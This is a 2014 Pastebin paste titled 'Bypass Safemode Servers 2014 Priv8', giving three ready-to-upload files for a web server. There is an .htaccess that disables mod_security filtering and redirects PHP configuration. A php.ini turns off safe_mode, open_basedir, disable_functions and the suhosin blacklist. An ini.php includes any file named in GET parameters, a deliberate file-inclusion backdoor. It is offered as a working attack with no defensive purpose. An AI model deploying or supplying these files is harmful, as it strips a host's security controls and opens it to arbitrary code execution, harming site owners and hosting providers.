Advertisement
1337_Brain

Bypass Safemode Servers 2014 Priv8

Jun 25th, 2014
447
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.06 KB | None | 0 0
  1. Bypass Safemode Servers 2014
  2.  
  3.  
  4. Create New Dir and upload 3 files : ".htaccess" , "php.ini" , "ini.php".
  5.  
  6.  
  7. .htaccess CODE :
  8.  
  9. <IfModule mod_security.c>
  10. SecFilterEngine Off
  11. SecFilterScanPOST Off
  12. SecFilterCheckURLEncoding Off
  13. SecFilterCheckCookieFormat Off
  14. SecFilterCheckUnicodeEncoding Off
  15. SecFilterNormalizeCookies Off
  16. </IfModule>
  17. <Limit GET POST>
  18. order deny,allow
  19. deny from all
  20. allow from all
  21. </Limit>
  22. <Limit PUT DELETE>
  23. order deny,allow
  24. deny from all
  25. </Limit>
  26. SetEnv PHPRC /home/user/public_html/newdir/php.ini // Bypass Functions
  27.  
  28. or suPHP_ConfigPath /home/user/public_html/newdir/php.ini // Bypass suPHP
  29.  
  30.  
  31.  
  32.  
  33. php.ini:
  34.  
  35. Safe_mode = OFF
  36. Safe_mode_gid = OFF
  37. Disable_Functions = NONE
  38. Open_basedir = OFF
  39. suhosin.executor.func.blacklist = NONE
  40.  
  41.  
  42. ini.php:
  43.  
  44. <?
  45. echo ini_get(“safe_mode”);
  46. echo ini_get(“open_basedir”);
  47. include($_GET["file"]);
  48. ini_restore(“safe_mode”);
  49. ini_restore(“open_basedir”);
  50. echo ini_get(“safe_mode”);
  51. echo ini_get(“open_basedir”);
  52. include($_GET["ss"]);
  53. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement